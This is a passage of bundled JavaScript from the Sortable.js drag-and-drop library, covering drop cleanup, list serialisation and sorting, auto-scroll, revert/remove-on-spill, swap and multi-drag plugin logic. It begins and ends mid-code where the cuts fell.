= index(dragEl, options.draggable); if (Sortable.eventCanceled) { this._nulling(); return; } awaitingDragStarted = false; isCircumstantialInvert = false; pastFirstInvertThresh = false; clearInterval(this._loopId); clearTimeout(this._dragStartTimer); _cancelNextTick(this.cloneId); _cancelNextTick(this._dragStartId); // Unbind events if (this.nativeDraggable) { off(document, 'drop', this); off(el, 'dragstart', this._onDragStart); } this._offMoveEvents(); this._offUpEvents(); if (Safari) { css(document.body, 'user-select', ''); } css(dragEl, 'transform', ''); if (evt) { if (moved) { evt.cancelable && evt.preventDefault(); !options.dropBubble && evt.stopPropagation(); } ghostEl && ghostEl.parentNode && ghostEl.parentNode.removeChild(ghostEl); if (rootEl === parentEl || putSortable && putSortable.lastPutMode !== 'clone') { // Remove clone(s) cloneEl && cloneEl.parentNode && cloneEl.parentNode.removeChild(cloneEl); } if (dragEl) { if (this.nativeDraggable) { off(dragEl, 'dragend', this); } _disableDraggable(dragEl); dragEl.style['will-change'] = ''; // Remove classes // ghostClass is added in dragStarted if (moved && !awaitingDragStarted) { toggleClass(dragEl, putSortable ? putSortable.options.ghostClass : this.options.ghostClass, false); } toggleClass(dragEl, this.options.chosenClass, false); // Drag stop event _dispatchEvent({ sortable: this, name: 'unchoose', toEl: parentEl, newIndex: null, newDraggableIndex: null, originalEvent: evt }); if (rootEl !== parentEl) { if (newIndex >= 0) { // Add event _dispatchEvent({ rootEl: parentEl, name: 'add', toEl: parentEl, fromEl: rootEl, originalEvent: evt }); // Remove event _dispatchEvent({ sortable: this, name: 'remove', toEl: parentEl, originalEvent: evt }); // drag from one list and drop into another _dispatchEvent({ rootEl: parentEl, name: 'sort', toEl: parentEl, fromEl: rootEl, originalEvent: evt }); _dispatchEvent({ sortable: this, name: 'sort', toEl: parentEl, originalEvent: evt }); } putSortable && putSortable.save(); } else { if (newIndex !== oldIndex) { if (newIndex >= 0) { // drag & drop within the same list _dispatchEvent({ sortable: this, name: 'update', toEl: parentEl, originalEvent: evt }); _dispatchEvent({ sortable: this, name: 'sort', toEl: parentEl, originalEvent: evt }); } } } if (Sortable.active) { /* jshint eqnull:true */ if (newIndex == null || newIndex === -1) { newIndex = oldIndex; newDraggableIndex = oldDraggableIndex; } _dispatchEvent({ sortable: this, name: 'end', toEl: parentEl, originalEvent: evt }); // Save sorting this.save(); } } } this._nulling(); }, _nulling: function _nulling() { pluginEvent('nulling', this); rootEl = dragEl = parentEl = ghostEl = nextEl = cloneEl = lastDownEl = cloneHidden = tapEvt = touchEvt = moved = newIndex = newDraggableIndex = oldIndex = oldDraggableIndex = lastTarget = lastDirection = putSortable = activeGroup = Sortable.dragged = Sortable.ghost = Sortable.clone = Sortable.active = null; savedInputChecked.forEach(function (el) { el.checked = true; }); savedInputChecked.length = lastDx = lastDy = 0; }, handleEvent: function handleEvent( /**Event*/ evt) { switch (evt.type) { case 'drop': case 'dragend': this._onDrop(evt); break; case 'dragenter': case 'dragover': if (dragEl) { this._onDragOver(evt); _globalDragOver(evt); } break; case 'selectstart': evt.preventDefault(); break; } }, /** * Serializes the item into an array of string. * @returns {String[]} */ toArray: function toArray() { var order = [], el, children = this.el.children, i = 0, n = children.length, options = this.options; for (; i < n; i++) { el = children[i]; if (closest(el, options.draggable, this.el, false)) { order.push(el.getAttribute(options.dataIdAttr) || _generateId(el)); } } return order; }, /** * Sorts the elements according to the array. * @param {String[]} order order of the items */ sort: function sort(order, useAnimation) { var items = {}, rootEl = this.el; this.toArray().forEach(function (id, i) { var el = rootEl.children[i]; if (closest(el, this.options.draggable, rootEl, false)) { items[id] = el; } }, this); useAnimation && this.captureAnimationState(); order.forEach(function (id) { if (items[id]) { rootEl.removeChild(items[id]); rootEl.appendChild(items[id]); } }); useAnimation && this.animateAll(); }, /** * Save the current sorting */ save: function save() { var store = this.options.store; store && store.set && store.set(this); }, /** * For each element in the set, get the first element that matches the selector by testing the element itself and traversing up through its ancestors in the DOM tree. * @param {HTMLElement} el * @param {String} [selector] default: `options.draggable` * @returns {HTMLElement|null} */ closest: function closest$1(el, selector) { return closest(el, selector || this.options.draggable, this.el, false); }, /** * Set/get option * @param {string} name * @param {*} [value] * @returns {*} */ option: function option(name, value) { var options = this.options; if (value === void 0) { return options[name]; } else { var modifiedValue = PluginManager.modifyOption(this, name, value); if (typeof modifiedValue !== 'undefined') { options[name] = modifiedValue; } else { options[name] = value; } if (name === 'group') { _prepareGroup(options); } } }, /** * Destroy */ destroy: function destroy() { pluginEvent('destroy', this); var el = this.el; el[expando] = null; off(el, 'mousedown', this._onTapStart); off(el, 'touchstart', this._onTapStart); off(el, 'pointerdown', this._onTapStart); if (this.nativeDraggable) { off(el, 'dragover', this); off(el, 'dragenter', this); } // Remove draggable attributes Array.prototype.forEach.call(el.querySelectorAll('[draggable]'), function (el) { el.removeAttribute('draggable'); }); this._onDrop(); this._disableDelayedDragEvents(); sortables.splice(sortables.indexOf(this.el), 1); this.el = el = null; }, _hideClone: function _hideClone() { if (!cloneHidden) { pluginEvent('hideClone', this); if (Sortable.eventCanceled) return; css(cloneEl, 'display', 'none'); if (this.options.removeCloneOnHide && cloneEl.parentNode) { cloneEl.parentNode.removeChild(cloneEl); } cloneHidden = true; } }, _showClone: function _showClone(putSortable) { if (putSortable.lastPutMode !== 'clone') { this._hideClone(); return; } if (cloneHidden) { pluginEvent('showClone', this); if (Sortable.eventCanceled) return; // show clone at dragEl or original position if (dragEl.parentNode == rootEl && !this.options.group.revertClone) { rootEl.insertBefore(cloneEl, dragEl); } else if (nextEl) { rootEl.insertBefore(cloneEl, nextEl); } else { rootEl.appendChild(cloneEl); } if (this.options.group.revertClone) { this.animate(dragEl, cloneEl); } css(cloneEl, 'display', ''); cloneHidden = false; } } }; function _globalDragOver( /**Event*/ evt) { if (evt.dataTransfer) { evt.dataTransfer.dropEffect = 'move'; } evt.cancelable && evt.preventDefault(); } function _onMove(fromEl, toEl, dragEl, dragRect, targetEl, targetRect, originalEvent, willInsertAfter) { var evt, sortable = fromEl[expando], onMoveFn = sortable.options.onMove, retVal; // Support for new CustomEvent feature if (window.CustomEvent && !IE11OrLess && !Edge) { evt = new CustomEvent('move', { bubbles: true, cancelable: true }); } else { evt = document.createEvent('Event'); evt.initEvent('move', true, true); } evt.to = toEl; evt.from = fromEl; evt.dragged = dragEl; evt.draggedRect = dragRect; evt.related = targetEl || toEl; evt.relatedRect = targetRect || getRect(toEl); evt.willInsertAfter = willInsertAfter; evt.originalEvent = originalEvent; fromEl.dispatchEvent(evt); if (onMoveFn) { retVal = onMoveFn.call(sortable, evt, originalEvent); } return retVal; } function _disableDraggable(el) { el.draggable = false; } function _unsilent() { _silent = false; } function _ghostIsFirst(evt, vertical, sortable) { var rect = getRect(getChild(sortable.el, 0, sortable.options, true)); var spacer = 10; return vertical ? evt.clientX < rect.left - spacer || evt.clientY < rect.top && evt.clientX < rect.right : evt.clientY < rect.top - spacer || evt.clientY < rect.bottom && evt.clientX < rect.left; } function _ghostIsLast(evt, vertical, sortable) { var rect = getRect(lastChild(sortable.el, sortable.options.draggable)); var spacer = 10; return vertical ? evt.clientX > rect.right + spacer || evt.clientX <= rect.right && evt.clientY > rect.bottom && evt.clientX >= rect.left : evt.clientX > rect.right && evt.clientY > rect.top || evt.clientX <= rect.right && evt.clientY > rect.bottom + spacer; } function _getSwapDirection(evt, target, targetRect, vertical, swapThreshold, invertedSwapThreshold, invertSwap, isLastTarget) { var mouseOnAxis = vertical ? evt.clientY : evt.clientX, targetLength = vertical ? targetRect.height : targetRect.width, targetS1 = vertical ? targetRect.top : targetRect.left, targetS2 = vertical ? targetRect.bottom : targetRect.right, invert = false; if (!invertSwap) { // Never invert or create dragEl shadow when target movemenet causes mouse to move past the end of regular swapThreshold if (isLastTarget && targetMoveDistance < targetLength * swapThreshold) { // multiplied only by swapThreshold because mouse will already be inside target by (1 - threshold) * targetLength / 2 // check if past first invert threshold on side opposite of lastDirection if (!pastFirstInvertThresh && (lastDirection === 1 ? mouseOnAxis > targetS1 + targetLength * invertedSwapThreshold / 2 : mouseOnAxis < targetS2 - targetLength * invertedSwapThreshold / 2)) { // past first invert threshold, do not restrict inverted threshold to dragEl shadow pastFirstInvertThresh = true; } if (!pastFirstInvertThresh) { // dragEl shadow (target move distance shadow) if (lastDirection === 1 ? mouseOnAxis < targetS1 + targetMoveDistance // over dragEl shadow : mouseOnAxis > targetS2 - targetMoveDistance) { return -lastDirection; } } else { invert = true; } } else { // Regular if (mouseOnAxis > targetS1 + targetLength * (1 - swapThreshold) / 2 && mouseOnAxis < targetS2 - targetLength * (1 - swapThreshold) / 2) { return _getInsertDirection(target); } } } invert = invert || invertSwap; if (invert) { // Invert of regular if (mouseOnAxis < targetS1 + targetLength * invertedSwapThreshold / 2 || mouseOnAxis > targetS2 - targetLength * invertedSwapThreshold / 2) { return mouseOnAxis > targetS1 + targetLength / 2 ? 1 : -1; } } return 0; } /** * Gets the direction dragEl must be swapped relative to target in order to make it * seem that dragEl has been "inserted" into that element's position * @param {HTMLElement} target The target whose position dragEl is being inserted at * @return {Number} Direction dragEl must be swapped */ function _getInsertDirection(target) { if (index(dragEl) < index(target)) { return 1; } else { return -1; } } /** * Generate id * @param {HTMLElement} el * @returns {String} * @private */ function _generateId(el) { var str = el.tagName + el.className + el.src + el.href + el.textContent, i = str.length, sum = 0; while (i--) { sum += str.charCodeAt(i); } return sum.toString(36); } function _saveInputCheckedState(root) { savedInputChecked.length = 0; var inputs = root.getElementsByTagName('input'); var idx = inputs.length; while (idx--) { var el = inputs[idx]; el.checked && savedInputChecked.push(el); } } function _nextTick(fn) { return setTimeout(fn, 0); } function _cancelNextTick(id) { return clearTimeout(id); } // Fixed #973: if (documentExists) { on(document, 'touchmove', function (evt) { if ((Sortable.active || awaitingDragStarted) && evt.cancelable) { evt.preventDefault(); } }); } // Export utils Sortable.utils = { on: on, off: off, css: css, find: find, is: function is(el, selector) { return !!closest(el, selector, el, false); }, extend: extend, throttle: throttle, closest: closest, toggleClass: toggleClass, clone: clone, index: index, nextTick: _nextTick, cancelNextTick: _cancelNextTick, detectDirection: _detectDirection, getChild: getChild }; /** * Get the Sortable instance of an element * @param {HTMLElement} element The element * @return {Sortable|undefined} The instance of Sortable */ Sortable.get = function (element) { return element[expando]; }; /** * Mount a plugin to Sortable * @param {...SortablePlugin|SortablePlugin[]} plugins Plugins being mounted */ Sortable.mount = function () { for (var _len = arguments.length, plugins = new Array(_len), _key = 0; _key < _len; _key++) { plugins[_key] = arguments[_key]; } if (plugins[0].constructor === Array) plugins = plugins[0]; plugins.forEach(function (plugin) { if (!plugin.prototype || !plugin.prototype.constructor) { throw "Sortable: Mounted plugin must be a constructor function, not ".concat({}.toString.call(plugin)); } if (plugin.utils) Sortable.utils = _objectSpread2(_objectSpread2({}, Sortable.utils), plugin.utils); PluginManager.mount(plugin); }); }; /** * Create sortable instance * @param {HTMLElement} el * @param {Object} [options] */ Sortable.create = function (el, options) { return new Sortable(el, options); }; // Export Sortable.version = version; var autoScrolls = [], scrollEl, scrollRootEl, scrolling = false, lastAutoScrollX, lastAutoScrollY, touchEvt$1, pointerElemChangedInterval; function AutoScrollPlugin() { function AutoScroll() { this.defaults = { scroll: true, forceAutoScrollFallback: false, scrollSensitivity: 30, scrollSpeed: 10, bubbleScroll: true }; // Bind all private methods for (var fn in this) { if (fn.charAt(0) === '_' && typeof this[fn] === 'function') { this[fn] = this[fn].bind(this); } } } AutoScroll.prototype = { dragStarted: function dragStarted(_ref) { var originalEvent = _ref.originalEvent; if (this.sortable.nativeDraggable) { on(document, 'dragover', this._handleAutoScroll); } else { if (this.options.supportPointer) { on(document, 'pointermove', this._handleFallbackAutoScroll); } else if (originalEvent.touches) { on(document, 'touchmove', this._handleFallbackAutoScroll); } else { on(document, 'mousemove', this._handleFallbackAutoScroll); } } }, dragOverCompleted: function dragOverCompleted(_ref2) { var originalEvent = _ref2.originalEvent; // For when bubbling is canceled and using fallback (fallback 'touchmove' always reached) if (!this.options.dragOverBubble && !originalEvent.rootEl) { this._handleAutoScroll(originalEvent); } }, drop: function drop() { if (this.sortable.nativeDraggable) { off(document, 'dragover', this._handleAutoScroll); } else { off(document, 'pointermove', this._handleFallbackAutoScroll); off(document, 'touchmove', this._handleFallbackAutoScroll); off(document, 'mousemove', this._handleFallbackAutoScroll); } clearPointerElemChangedInterval(); clearAutoScrolls(); cancelThrottle(); }, nulling: function nulling() { touchEvt$1 = scrollRootEl = scrollEl = scrolling = pointerElemChangedInterval = lastAutoScrollX = lastAutoScrollY = null; autoScrolls.length = 0; }, _handleFallbackAutoScroll: function _handleFallbackAutoScroll(evt) { this._handleAutoScroll(evt, true); }, _handleAutoScroll: function _handleAutoScroll(evt, fallback) { var _this = this; var x = (evt.touches ? evt.touches[0] : evt).clientX, y = (evt.touches ? evt.touches[0] : evt).clientY, elem = document.elementFromPoint(x, y); touchEvt$1 = evt; // IE does not seem to have native autoscroll, // Edge's autoscroll seems too conditional, // MACOS Safari does not have autoscroll, // Firefox and Chrome are good if (fallback || this.options.forceAutoScrollFallback || Edge || IE11OrLess || Safari) { autoScroll(evt, this.options, elem, fallback); // Listener for pointer element change var ogElemScroller = getParentAutoScrollElement(elem, true); if (scrolling && (!pointerElemChangedInterval || x !== lastAutoScrollX || y !== lastAutoScrollY)) { pointerElemChangedInterval && clearPointerElemChangedInterval(); // Detect for pointer elem change, emulating native DnD behaviour pointerElemChangedInterval = setInterval(function () { var newElem = getParentAutoScrollElement(document.elementFromPoint(x, y), true); if (newElem !== ogElemScroller) { ogElemScroller = newElem; clearAutoScrolls(); } autoScroll(evt, _this.options, newElem, fallback); }, 10); lastAutoScrollX = x; lastAutoScrollY = y; } } else { // if DnD is enabled (and browser has good autoscrolling), first autoscroll will already scroll, so get parent autoscroll of first autoscroll if (!this.options.bubbleScroll || getParentAutoScrollElement(elem, true) === getWindowScrollingElement()) { clearAutoScrolls(); return; } autoScroll(evt, this.options, getParentAutoScrollElement(elem, false), false); } } }; return _extends(AutoScroll, { pluginName: 'scroll', initializeByDefault: true }); } function clearAutoScrolls() { autoScrolls.forEach(function (autoScroll) { clearInterval(autoScroll.pid); }); autoScrolls = []; } function clearPointerElemChangedInterval() { clearInterval(pointerElemChangedInterval); } var autoScroll = throttle(function (evt, options, rootEl, isFallback) { // Bug: https://bugzilla.mozilla.org/show_bug.cgi?id=505521 if (!options.scroll) return; var x = (evt.touches ? evt.touches[0] : evt).clientX, y = (evt.touches ? evt.touches[0] : evt).clientY, sens = options.scrollSensitivity, speed = options.scrollSpeed, winScroller = getWindowScrollingElement(); var scrollThisInstance = false, scrollCustomFn; // New scroll root, set scrollEl if (scrollRootEl !== rootEl) { scrollRootEl = rootEl; clearAutoScrolls(); scrollEl = options.scroll; scrollCustomFn = options.scrollFn; if (scrollEl === true) { scrollEl = getParentAutoScrollElement(rootEl, true); } } var layersOut = 0; var currentParent = scrollEl; do { var el = currentParent, rect = getRect(el), top = rect.top, bottom = rect.bottom, left = rect.left, right = rect.right, width = rect.width, height = rect.height, canScrollX = void 0, canScrollY = void 0, scrollWidth = el.scrollWidth, scrollHeight = el.scrollHeight, elCSS = css(el), scrollPosX = el.scrollLeft, scrollPosY = el.scrollTop; if (el === winScroller) { canScrollX = width < scrollWidth && (elCSS.overflowX === 'auto' || elCSS.overflowX === 'scroll' || elCSS.overflowX === 'visible'); canScrollY = height < scrollHeight && (elCSS.overflowY === 'auto' || elCSS.overflowY === 'scroll' || elCSS.overflowY === 'visible'); } else { canScrollX = width < scrollWidth && (elCSS.overflowX === 'auto' || elCSS.overflowX === 'scroll'); canScrollY = height < scrollHeight && (elCSS.overflowY === 'auto' || elCSS.overflowY === 'scroll'); } var vx = canScrollX && (Math.abs(right - x) <= sens && scrollPosX + width < scrollWidth) - (Math.abs(left - x) <= sens && !!scrollPosX); var vy = canScrollY && (Math.abs(bottom - y) <= sens && scrollPosY + height < scrollHeight) - (Math.abs(top - y) <= sens && !!scrollPosY); if (!autoScrolls[layersOut]) { for (var i = 0; i <= layersOut; i++) { if (!autoScrolls[i]) { autoScrolls[i] = {}; } } } if (autoScrolls[layersOut].vx != vx || autoScrolls[layersOut].vy != vy || autoScrolls[layersOut].el !== el) { autoScrolls[layersOut].el = el; autoScrolls[layersOut].vx = vx; autoScrolls[layersOut].vy = vy; clearInterval(autoScrolls[layersOut].pid); if (vx != 0 || vy != 0) { scrollThisInstance = true; /* jshint loopfunc:true */ autoScrolls[layersOut].pid = setInterval(function () { // emulate drag over during autoscroll (fallback), emulating native DnD behaviour if (isFallback && this.layer === 0) { Sortable.active._onTouchMove(touchEvt$1); // To move ghost if it is positioned absolutely } var scrollOffsetY = autoScrolls[this.layer].vy ? autoScrolls[this.layer].vy * speed : 0; var scrollOffsetX = autoScrolls[this.layer].vx ? autoScrolls[this.layer].vx * speed : 0; if (typeof scrollCustomFn === 'function') { if (scrollCustomFn.call(Sortable.dragged.parentNode[expando], scrollOffsetX, scrollOffsetY, evt, touchEvt$1, autoScrolls[this.layer].el) !== 'continue') { return; } } scrollBy(autoScrolls[this.layer].el, scrollOffsetX, scrollOffsetY); }.bind({ layer: layersOut }), 24); } } layersOut++; } while (options.bubbleScroll && currentParent !== winScroller && (currentParent = getParentAutoScrollElement(currentParent, false))); scrolling = scrollThisInstance; // in case another function catches scrolling as false in between when it is not }, 30); var drop = function drop(_ref) { var originalEvent = _ref.originalEvent, putSortable = _ref.putSortable, dragEl = _ref.dragEl, activeSortable = _ref.activeSortable, dispatchSortableEvent = _ref.dispatchSortableEvent, hideGhostForTarget = _ref.hideGhostForTarget, unhideGhostForTarget = _ref.unhideGhostForTarget; if (!originalEvent) return; var toSortable = putSortable || activeSortable; hideGhostForTarget(); var touch = originalEvent.changedTouches && originalEvent.changedTouches.length ? originalEvent.changedTouches[0] : originalEvent; var target = document.elementFromPoint(touch.clientX, touch.clientY); unhideGhostForTarget(); if (toSortable && !toSortable.el.contains(target)) { dispatchSortableEvent('spill'); this.onSpill({ dragEl: dragEl, putSortable: putSortable }); } }; function Revert() {} Revert.prototype = { startIndex: null, dragStart: function dragStart(_ref2) { var oldDraggableIndex = _ref2.oldDraggableIndex; this.startIndex = oldDraggableIndex; }, onSpill: function onSpill(_ref3) { var dragEl = _ref3.dragEl, putSortable = _ref3.putSortable; this.sortable.captureAnimationState(); if (putSortable) { putSortable.captureAnimationState(); } var nextSibling = getChild(this.sortable.el, this.startIndex, this.options); if (nextSibling) { this.sortable.el.insertBefore(dragEl, nextSibling); } else { this.sortable.el.appendChild(dragEl); } this.sortable.animateAll(); if (putSortable) { putSortable.animateAll(); } }, drop: drop }; _extends(Revert, { pluginName: 'revertOnSpill' }); function Remove() {} Remove.prototype = { onSpill: function onSpill(_ref4) { var dragEl = _ref4.dragEl, putSortable = _ref4.putSortable; var parentSortable = putSortable || this.sortable; parentSortable.captureAnimationState(); dragEl.parentNode && dragEl.parentNode.removeChild(dragEl); parentSortable.animateAll(); }, drop: drop }; _extends(Remove, { pluginName: 'removeOnSpill' }); var lastSwapEl; function SwapPlugin() { function Swap() { this.defaults = { swapClass: 'sortable-swap-highlight' }; } Swap.prototype = { dragStart: function dragStart(_ref) { var dragEl = _ref.dragEl; lastSwapEl = dragEl; }, dragOverValid: function dragOverValid(_ref2) { var completed = _ref2.completed, target = _ref2.target, onMove = _ref2.onMove, activeSortable = _ref2.activeSortable, changed = _ref2.changed, cancel = _ref2.cancel; if (!activeSortable.options.swap) return; var el = this.sortable.el, options = this.options; if (target && target !== el) { var prevSwapEl = lastSwapEl; if (onMove(target) !== false) { toggleClass(target, options.swapClass, true); lastSwapEl = target; } else { lastSwapEl = null; } if (prevSwapEl && prevSwapEl !== lastSwapEl) { toggleClass(prevSwapEl, options.swapClass, false); } } changed(); completed(true); cancel(); }, drop: function drop(_ref3) { var activeSortable = _ref3.activeSortable, putSortable = _ref3.putSortable, dragEl = _ref3.dragEl; var toSortable = putSortable || this.sortable; var options = this.options; lastSwapEl && toggleClass(lastSwapEl, options.swapClass, false); if (lastSwapEl && (options.swap || putSortable && putSortable.options.swap)) { if (dragEl !== lastSwapEl) { toSortable.captureAnimationState(); if (toSortable !== activeSortable) activeSortable.captureAnimationState(); swapNodes(dragEl, lastSwapEl); toSortable.animateAll(); if (toSortable !== activeSortable) activeSortable.animateAll(); } } }, nulling: function nulling() { lastSwapEl = null; } }; return _extends(Swap, { pluginName: 'swap', eventProperties: function eventProperties() { return { swapItem: lastSwapEl }; } }); } function swapNodes(n1, n2) { var p1 = n1.parentNode, p2 = n2.parentNode, i1, i2; if (!p1 || !p2 || p1.isEqualNode(n2) || p2.isEqualNode(n1)) return; i1 = index(n1); i2 = index(n2); if (p1.isEqualNode(p2) && i1 < i2) { i2++; } p1.insertBefore(n2, p1.children[i1]); p2.insertBefore(n1, p2.children[i2]); } var multiDragElements = [], multiDragClones = [], lastMultiDragSelect, // for selection with modifier key down (SHIFT) multiDragSortable, initialFolding = false, // Initial multi-drag fold when drag started folding = false, // Folding any other time dragStarted = false, dragEl$1, clonesFromRect, clonesHidden; function MultiDragPlugin() { function MultiDrag(sortable) { // Bind all private methods for (var fn in this) { if (fn.charAt(0) === '_' && typeof this[fn] === 'function') { this[fn] = this[fn].bind(this); } } if (!sortable.options.avoidImplicitDeselect) { if (sortable.options.supportPointer) { on(document, 'pointerup', this._deselectMultiDrag); } else { on(document, 'mouseup', this._deselectMultiDrag); on(document, 'touchend', this._deselectMultiDrag); } } on(document, 'keydown', this._checkKeyDown); on(document, 'keyup', this._checkKeyUp); this.defaults = { selectedClass: 'sortable-selected', multiDragKey: null, avoidImplicitDeselect: false, setData: function setData(dataTransfer, dragEl) { var data = ''; if (multiDragElements.length && multiDragSortable === sortable) { multiDragElements.forEach(function (multiDragElement, i) { data += (!i ? '' : ', ') + multiDragElement.textContent; }); } else { data = dragEl.textContent; } dataTransfer.setData('Text', data); } }; } MultiDrag.prototype = { multiDragKeyDown: false, isMultiDrag: false, delayStartGlobal: function delayStartGlobal(_ref) { var dragged = _ref.dragEl; dragEl$1 = dragged; }, delayEnded: function delayEnded() { this.isMultiDrag = ~multiDragElements.indexOf(dragEl$1); }, setupClone: function setupClone(_ref2) { var sortable = _ref2.sortable, cancel = _ref2.cancel; if (!this.isMultiDrag) return; for (var i = 0; i < multiDragElements.length; i++) { multiDragClones.push(clone(multiDragElements[i])); multiDragClones[i].sortableIndex = multiDragElements[i].sortableIndex; multiDragClones[i].draggable = false; multiDragClones[i].style['will-change'] = ''; toggleClass(multiDragClones[i], this.options.selectedClass, false); multiDragElements[i] === dragEl$1 && toggleClass(multiDragClones[i], this.options.chosenClass, false); } sortable._hideClone(); cancel(); }, clone: function clone(_ref3) { var sortable = _ref3.sortable, rootEl = _ref3.rootEl, dispatchSortableEvent = _ref3.dispatchSortableEvent, cancel = _ref3.cancel; if (!this.isMultiDrag) return; if (!this.options.removeCloneOnHide) { if (multiDragElements.length && multiDragSortable === sortable) { insertMultiDragClones(true, rootEl); dispatchSortableEvent('clone'); cancel(); } } }, showClone: function showClone(_ref4) { var cloneNowShown = _ref4.cloneNowShown, rootEl = _ref4.rootEl, cancel = _ref4.cancel; if (!this.isMultiDrag) return; insertMultiDragClones(false, rootEl); multiDragClones.forEach(function (clone) { css(clone, 'display', ''); }); cloneNowShown(); clonesHidden = false; cancel(); }, hideClone: function hideClone(_ref5) { var _this = this; var sortable = _ref5.sortable, cloneNowHidden = _ref5.cloneNowHidden, cancel = _ref5.cancel; if (!this.isMultiDrag) return; multiDragClones.forEach(function (clone) { css(clone, 'display', 'none'); if (_this.options.removeCloneOnHide && clone.parentNode) { clone.parentNode.removeChild(clone); } }); cloneNowHidden(); clonesHidden = true; cancel(); }, dragStartGlobal: function dragStartGlobal(_ref6) { var sortable = _ref6.sortable; if (!this.isMultiDrag && multiDragSortable) { multiDragSortable.multiDrag._deselectMultiDrag(); } multiDragElements.forEach(function (multiDragElement) { multiDragElement.sortableIndex = index(multiDragElement); }); // Sort multi-drag elements multiDragElements = multiDragElements.sort(function (a, b) { return a.sortableIndex - b.sortableIndex; }); dragStarted = true; }, dragStarted: function dragStarted(_ref7) { var _this2 = this; var sortable = _ref7.sortable; if (!this.isMultiDrag) return; if (this.options.sort) { // Capture rects, // hide multi drag elements (by positioning them absolute), // set multi drag elements rects to dragRect, // show multi drag elements, // animate to rects, // unset rects & remove from DOM sortable.captureAnimationState(); if (this.options.animation) { multiDragElements.forEach(function (multiDragElement) { if (multiDragElement === dragEl$1) return; css(multiDragElement, 'position', 'absolute'); }); var dragRect = getRect(dragEl$1, false, true, true); multiDragElements.forEach(function (multiDragElement) { if (multiDragElement === dragEl$1) return; setRect(multiDragElement, dragRect); }); folding = true; initialFolding = true; } } sortable.animateAll(function () { folding = false; initialFolding = false; if (_this2.options.animation) { multiDragElements.forEach(function (multiDragElement) { unsetRect(multiDragElement); }); } // Remove all auxiliary multidrag items from el, if sorting enabled if (_this2.options.sort) { removeMultiDragElements(); } }); }, dragOver: function dragOver(_ref8) { var target = _ref8.target, completed = _ref8.completed, cancel = _ref8.cancel; if (folding && ~multiDragElements.indexOf(target)) { completed(false); cancel(); } }, revert: function revert(_ref9) { var fromSortable = _ref9.fromSortable, rootEl = _ref9.rootEl, sortable = _ref9.sortable, dragRect = _ref9.dragRect; if (multiDragElements.length > 1) { // Setup unfold animation multiDragElements.forEach(function (multiDragElement) { sortable.addAnimationState({ target: multiDragElement, rect: folding ? getRect(multiDragElement) : dragRect }); unsetRect(multiDragElement); multiDragElement.fromRect = dragRect; fromSortable.removeAnimationState(multiDragElement); }); folding = false; insertMultiDragElements(!this.options.removeCloneOnHide, rootEl); } }, dragOverCompleted: function dragOverCompleted(_ref10) { var sortable = _ref10.sortable, isOwner = _ref10.isOwner, insertion = _ref10.insertion, activeSortable = _ref10.activeSortable, parentEl = _ref10.parentEl, putSortable = _ref10.putSortable; var options = this.options; if (insertion) { // Clones must be hidden before folding animation to capture dragRectAbsolute properly if (isOwner) { activeSortable._hideClone(); } initialFolding = false; // If leaving sort:false root, or already folding - Fold to new location if (options.animation && multiDragElements.length > 1 && (folding || !isOwner && !activeSortable.options.sort && !putSortable)) { // Fold: Set all multi drag elements's rects to dragEl's rect when multi-drag elements are invisible var dragRectAbsolute = getRect(dragEl$1, false, true, true); multiDragElements.forEach(function (multiDragElement) { if (multiDragElement === dragEl$1) return; setRect(multiDragElement, dragRectAbsolute); // Move element(s) to end of parentEl so that it does not interfere with multi-drag clones insertion if they are inserted // while folding, and so that we can capture them again because old sortable will no longer be fromSortable parentEl.appendChild(multiDragElement); }); folding = true; } // Clones must be shown (and check to remove multi drags) after folding when interfering multiDragElements are moved out if (!isOwner) { // Only remove if not folding (folding will remove them anyways) if (!folding) { removeMultiDragElements(); } if (multiDragElements.length > 1) { var clonesHiddenBefore = clonesHidden; activeSortable._showClone(sortable); // Unfold animation for clones if showing from hidden if (activeSortable.options.animation && !clonesHidden && clonesHiddenBefore) { multiDragClones.forEach(function (clone) { activeSortable.addAnimationState({ target: clone, rect: clonesFromRect }); clone.fromRect = clonesFromRect; clone.thisAnimationDuration = null; }); } } else { activeSortable._showClone(sortable); } } } }, dragOverAnimationCapture: function dragOverAnimationCapture(_ref11) { var dragRect = _ref11.dragRect, isOwner = _ref11.isOwner, activeSortable = _ref11.activeSortable; multiDragElements.forEach(function (multiDragElement) { multiDragElement.thisAnimationDuration = null; }); if (activeSortable.options.animation && !isOwner && activeSortable.multiDrag.isMultiDrag) { clonesFromRect = _extends({}, dragRect); var dragMatrix = matrix(dragEl$1, true); clonesFromRect.top -= dragMatrix.f; clonesFromRect.left -= dragMatrix.e; } }, dragOverAnimationComplete: function dragOverAnimationComplete() { if (folding) { folding = false; removeMultiDragElements(); } }, drop: function drop(_ref12) { var evt = _ref12.originalEvent, rootEl = _ref12.rootEl, parentEl = _ref12.parentEl, sortable = _ref12.sortable, dispatchSortableEvent = _ref12.dispatchSortableEvent, oldIndex = _ref12.oldIndex, putSortable = _ref12.putSortable; var toSortable = putSortable || this.sortable; if (!evt) return; var options = this.options, children = parentEl.children; // Multi-drag selection if (!dragStarted) { if (options.multiDragKey && !this.multiDragKeyDown) { this._deselectMultiDrag(); } toggleClass(dragEl$1, options.selectedClass, !~multiDragElements.indexOf(dragEl$1)); if (!~multiDragElements.indexOf(dragEl$1)) { multiDragElements.push(dragEl$1); dispatchEvent({ sortable: sortable, rootEl: rootEl, name: 'select', targetEl: dragEl$1, originalEvent: evt }); // Modifier activated, select from last to dragEl if (evt.shiftKey && lastMultiDragSelect && sortable.el.contains(lastMultiDragSelect)) { var lastIndex = index(lastMultiDragSelect), currentIndex = index(dragEl$1); if (~lastIndex && ~currentIndex && lastIndex !== currentIndex) { // Must include lastMultiDragSelect (select it), in case modified selection from no selection // (but previous selection existed) var n, i; if (currentIndex > lastIndex) { i = lastIndex; n = currentIndex; } else { i = currentIndex; n = lastIndex + 1; } for (; i < n; i++) { if (~multiDragElements.indexOf(children[i])) continue; toggleClass(children[i], options.selectedClass, true); multiDragElements.push(children[i]); dispatchEvent({ sortable: sortable, rootEl: rootEl, name: 'select', targetEl: children[i], originalEvent: evt }); } } } else { lastMultiDragSelect = dragEl$1; } multiDragSortable = toSortable; } else { multiDragElements.splice(multiDragElements.indexOf(dragEl$1), 1); lastMultiDragSelect = null; dispatchEvent({ sortable: sortable, rootEl: rootEl, name: 'deselect', targetEl: dragEl$1, originalEvent: evt }); } } // Multi-drag drop if (dragStarted && this.isMultiDrag) { folding = false; // Do not "unfold" after around dragEl if reverted if ((parentEl[expando].options.sort || parentEl !== rootEl) && multiDragElements.length > 1) { var dragRect = getRect(dragEl$1), multiDragIndex = index(dragEl$1, ':not(.' + 